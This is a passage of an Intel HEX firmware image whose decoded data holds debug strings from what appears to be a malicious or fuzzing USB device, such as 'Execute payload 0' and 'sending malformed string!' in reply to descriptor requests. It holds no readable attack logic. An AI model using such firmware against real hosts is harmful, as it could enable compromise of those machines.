:1016D0007461727420657865637574696F6E2E2EFF  
:1016E0002E0A0D005B44454255475D2045786563F1  
:1016F000757465207061796C6F616420300A0D002B  
:10170000526563762D446174613A0A0D005B44456D  
:101710004255475D200953656E6420436F6E6669CC  
:101720006775726174696F6E446573637269707412  
:101730006F720928696E6465783A2569292E2E2E04  
:101740000D0A005B44454255475D200953656E64B0  
:1017500020496E74657266616365204465736372C7  
:101760006970746F720928696E7465726661636569  
:101770003A2569292E2E2E0D0A005B444542554715  
:101780005D200953656E6420456E64706F696E74E8  
:101790002044657363726970746F720928656E64A2  
:1017A000706F696E743A2569292E2E2E0D0A005B22  
:1017B00044454255475D203C3C70616E6963206D35  
:1017C0006F64653F3E3E0D0A005B44454255475DF0  
:1017D0002009203E3E20537472696E672044657371  
:1017E00063726970746F72207265717565737420AD  
:1017F0002D2073656E64696E67206D616C666F7213  
:101800006D656420737472696E67212073657475E9  
:10181000702E7756616C75654C203D3D2025690D15  
:101820000A005B48455844554D505D0A0D0025306F  
:04183000325820000A  
:00000001FF  
`